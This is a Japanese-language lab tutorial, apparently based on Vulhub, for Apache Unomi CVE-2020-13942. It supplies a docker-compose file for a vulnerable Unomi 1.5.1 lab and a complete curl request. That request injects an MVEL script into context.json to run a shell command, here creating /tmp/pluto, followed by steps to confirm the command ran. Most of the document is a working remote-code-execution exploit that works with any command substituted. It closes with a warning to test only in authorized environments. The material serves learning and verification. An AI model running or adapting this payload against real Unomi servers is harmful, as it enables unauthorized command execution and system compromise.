
Apache Unomi CVE-2020-13942 に対するステップバイステップのラボ環境とエクスプロイト。MVEL 式言語インジェクションがリモートコード実行に至ることを実証します。
この脆弱性は、MVEL式言語インジェクションを悪用して、Apache Unomi バージョン 1.5.1 を実行しているシステム上で任意のコマンド実行を可能にします。
GitHub - Vulhub - Unomi CVE-2020-13942
docker-compose.yml)version: '2'
services:
web:
image: vulhub/unomi:1.5.1
ports:
- "9443:9443"
- "8181:8181"
environment:
- UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
depends_on:
- elasticsearch
elasticsearch:
image: elasticsearch:7.9.3
environment:
- cluster.name=contextElasticSearch
- discovery.type=single-node
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
- bootstrap.memory_lock=true
以下のコマンドでコンテナを実行します:
docker compose up -d
curl を使用して以下の POST リクエストを送信します:
curl -X POST http://localhost:8181/context.json \
-H "Accept-Encoding: gzip, deflate" \
-H "Accept: */*" \
-H "Accept-Language: en" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36" \
-H "Connection: close" \
-H "Content-Type: application/json" \
-d '{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/pluto\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}'
ファイル作成を確認するためにコンテナにアクセスします:
docker exec -it af7de05fc47e ls /tmp
pluto フォルダの存在を確認します:
hsperfdata_root pluto
pluto ファイルが存在する場合、エクスプロイトが成功したことを意味します。
この脆弱性は任意のコマンド実行を可能にします。これらのテストは、管理された環境でのみ、学習または検証目的で使用してください。許可されていない環境で脆弱性を悪用することは違法です。